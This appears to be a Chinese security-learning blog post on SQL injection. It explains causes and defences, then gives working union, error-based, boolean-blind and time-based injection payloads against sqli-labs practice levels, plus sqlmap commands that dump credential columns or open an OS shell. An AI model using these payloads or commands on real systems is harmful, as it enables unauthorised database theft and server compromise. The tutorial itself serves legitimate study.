SQL 注入漏洞详解

本文最后更新于 2023年12月20日 14:28

SQL注入漏洞原理

漏洞原理

简单点说,就是服务端未对用户的输入进行过滤和验证,导致恶意的sql语句直接与后端sql查询语句进行,造成了非本意的查询结果并且回显到页面上,最终导致数据库敏感信息泄露等。

SQL 注入漏洞的核心原理在于攻击者能够将恶意的 SQL 代码注入到应用程序的 SQL 查询语句中,从而执行未经授权的数据库操作

漏洞场景

SQL注入漏洞可能出现在一切与数据库交互的地方,比如常见的查询用户信息、查询订单信息等查询处;搜索、筛选、过滤等;更新用户信息、添加备注等。另外,其他日志记录、分析等处也可能出现,比如记录用户登录处,记录用户登录日志处;比如常见的请求头中的字段,UA、XFF等。

检测方法

可以利用 sqlmap 工具 进行SQL注入的检查或利用,也可以使用其他SQL注入工具。也可以手工测,利用单引号、and 1=1以及字符型注入进行判断。

最后结尾记录记录一下 sqlmap 工具的使用

防御措施

    1. 使用参数化查询
    1. 输入验证和过滤
    1. 使用存储过程
    1. 最小权限原则
    1. 使用ORM框架
    1. 使用准备语句
    1. 使用安全的数据库连接
    1. 避免动态拼接SQL语句
    1. 使用防火墙和入侵检测系统
    1. 定期更新和维护数据库软件

SQL注入内容

SQL 注入需要满足以下两个条件:

  • 参数可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

判断注入

  • 当用户传入参数为 1’的时候,在数据库执行如下所示:
    1
    select * from users where id=1' 

此 SQL语句不符合语法规则就会报错。

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
  • 当用户传入参数为 1 and 1=1 时
1
select * from users where id=1 and 1=1 

因为 1=1 为真,id=1 也是真, and 两边均为真。所以页面会返回 id=1 的结果。

  • 如果用户传入参数为 1 and 1=2 时
    因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。

  由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,进行攻击,致使信息泄露,甚至获取服务器权限。
  其实也就是看有没有回显。回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

1
2
3
4
5
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"

SQL注入分类

  1. 从注入参数类型分:数字型注入、字符型注入
  2. 从注入效果分:报错注入、无显盲注(布尔盲注、延时盲注)、联合注入、堆叠注入、宽字节注入、二次注入
  3. 从提交方式分:GET注入、POST注入、HTTP头注入(UA注入、XFF注入)、COOKIE注入

information_schema(一个数据库)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信
重要的表
SCHEMATA
当前mysql数据库软件中所有数据库名称。
TABLES
存储数据库中的所有的表的名称,包括表属于哪个数据库。
COLUMNS
存储表中的所有列的名称,包括列属于哪个表。
练习语句

1
2
3
4
5
select group_concat(table_name) from information_schema.tables where table_schema="dvwa";

select table_name from information_schema.tables where table_schema='security';

select column_name from information_schema.columns where table_name='users';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
information_schema
|
+-- schemata # 所有的库名
| |
| `-- schema_name # 库名
|
+-- tables # 存储了MySQL 数据库中所有的表
| |
| +-- table_name # 表名
| |
| `-- table_schema # 表名所属的库名
|
`-- columns # 存储了MySQL 中所有的列
|
+-- column_name # 列名
|
+-- table_name # 列所属的表
|
`-- table_schema # 列所属的库

SQL 详细注入过程

实验环境:

联合查询:
  • sqlilab 靶场第1关为例
    联合查询是最常用的SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。
    联合查询可以跨库,跨表查询

利用 order by 判断数据库字段为几列

1
?id=1' order by 3 --+

通过尝试取3或者以内的值时,不报错;超过3之后就报错;说明此表有三列

猜数据库:

1
?id=111' union select 1,2,database() --+

payload 利用另一种方式:

1
?id=1' union select 1,version(),database() --+

image.png

得到数据库名:security 版本号:5.5.53
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含三列,为了能够现实三列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。

猜表名:

1
?id=111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image.png
得到表名:emails,referers,uagents,users
通过上面的信息我们发现security库中有四个表,users表中极有可能存放用户登陆账号和密码

元数据库中爆users表的字段名

1
?id=111' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

image.png

报错注入
  • sqlilab 靶场第2关为例
    使用两种函数实现报错注入
    原理:是基于mysql数据管理软件函数的特性,将想查询的数据,通过报错语句回显到页面上
    1
    ?id=1' and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
  1. ?id=1' 将注入的内容开始,并在数字1后面添加了一个单引号,目的是破坏原始SQL查询的语法结构。
  2. and extractvalue(1,concat(0x5e,(select database()),0x5e)) 是一个XPath注入攻击,用于提取数据库信息。这部分的作用是在XPath查询中将数据库名称连接起来。
  3. --+ 是SQL中的注释语法,表示从此处开始注释,直到行尾。这里的+只是为了确保注释符号不被过滤。
    image.png
    1
    ?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1) --+ 
  4. ?id=1': 将注入的内容开始,并在数字 1 后面添加了一个单引号,目的是破坏原始 SQL 查询的语法结构。
  5. and updatexml(1,concat(0x7e,database(),0x7e),1): 使用 updatexml 函数,该函数用于更新 XML 数据。在这里,它的目的是将数据库名称(通过 database() 函数获取)插入到 XML 结构中。
  6. --+: 是 SQL 中的注释语法,表示从此处开始注释,直到行尾。这里的 + 只是为了确保注释符号不被过滤。
    image.png
布尔盲注
  • sqlilab 靶场第5关为例
    这关我们发现id=1和id=1000页面回显不一样
    由此可知只有正确的数值他才有回显
    image.png|500
    可以先用length(database())函数得出当前数据库的一个长度
    1
    ?id=1' and length(database())=8--+
    发现在长度为8的时候页面才有回显
    image.png|500
    得出他的数据库名长度之后可以使用 ascii(substr(database(),1,1))来判断出他的第一个字符是什么
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ?id=2' and ascii(substr(database(),1,1))=115 --+
    # 115
    # s

    ?id=2' and ascii(substr(database(),2,1))=101 --+
    //`and ascii(substr(database(),2,1))=101` 是在尝试检查当前数据库名称的第二个字符是否为 ASCII 值为 101,这对应于字符 'e'。
    # 115 101
    # s e

    只有正确页面才会有回显 由此可知前两位数据库字符为s e
    image.png
延时注入
  • sqlilab 靶场第9关为例
    这关我们发现id=1和id=10000页面回显一样
    这样我们就可以用延时注入的一个手法,使得让条件为真的数据服务器延时几秒后响应
    image.png
    1
    2
    ?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
    //查询尝试测试当前数据库名称的第一个字符是否为 ASCII 值为 115(即字符 's')。如果条件满足,它将执行 `sleep(5)`,导致查询延迟 5 秒。
  1. ?id=1' 将注入的内容开始,并在数字 1 后面添加了一个单引号,目的是破坏原始 SQL 查询的语法结构。
  2. and If(ascii(substr(database(),1,1))=115,sleep(5),1) 是条件语句,检查当前数据库名称的第一个字符是否为 ASCII 值为 115。如果满足条件,则执行 sleep(5),否则返回 1。
  3. --+ 是 SQL 中的注释语法,表示从此处开始注释,直到行尾。这里的 + 只是为了确保注释符号不被过滤。
    当条件为真的时候,服务器会响应更长的时间
    image.png

sqlmap 工具的使用

1
2
3
4
sqlmap -r 1.txt --dbs -level=3 -risk=3 --batch -p "id" --proxy http://127.0.0.1:8080

sqlmap.py -u http://10.4.7.130/sqli-labs-master/Less-1/ --dbs
默认不用加检测等级
  • sqlmap: SQL 注入渗透测试工具的命令行工具。
  • -r 1.txt: 从文件中读取 HTTP 请求,文件中包含了被测试网站的一个请求,以便 SQLMap 进行分析和注入检测。
  • --dbs: 列出所有的数据库名。
  • --current-user: 显示当前连接数据库的用户名。
  • --current-db: 显示当前数据库的名字
  • -D "mysql": 指定目标数据库为 MySQL。
  • --tables: 列出目标数据库中的所有表名。
  • -T "user": 指定目标表名为 ‘user’。
  • --columns: 列出目标表中的所有字段名。
  • -C 'username,password': 指定目标字段为 ‘username’ 和 ‘password’。
  • --dump: 列出目标字段的内容。
  • --os-shell: 在特定情况下,可以直接获得目标系统 Shell。
  • --level 3: 设置 SQLMap 检测等级为 3。
  • --risk 3: 设置 SQLMap 注入风险等级为 3。
  • --batch: 在批处理模式下运行,避免提示用户输入。
  • -p "id": 指定注入点为参数 ‘id’。
  • --proxy http://127.0.0.1:8080: 使用代理服务器,将请求通过本地代理服务器发送。

声明:本文所涉及到的仅用于学习交流使用,如有其他与本人无关


SQL 注入漏洞详解
http://example.com/posts/a3190e10/
作者
帅蛋同学_
发布于
2023年12月20日 00:00
更新于
2023年12月20日 14:28
许可协议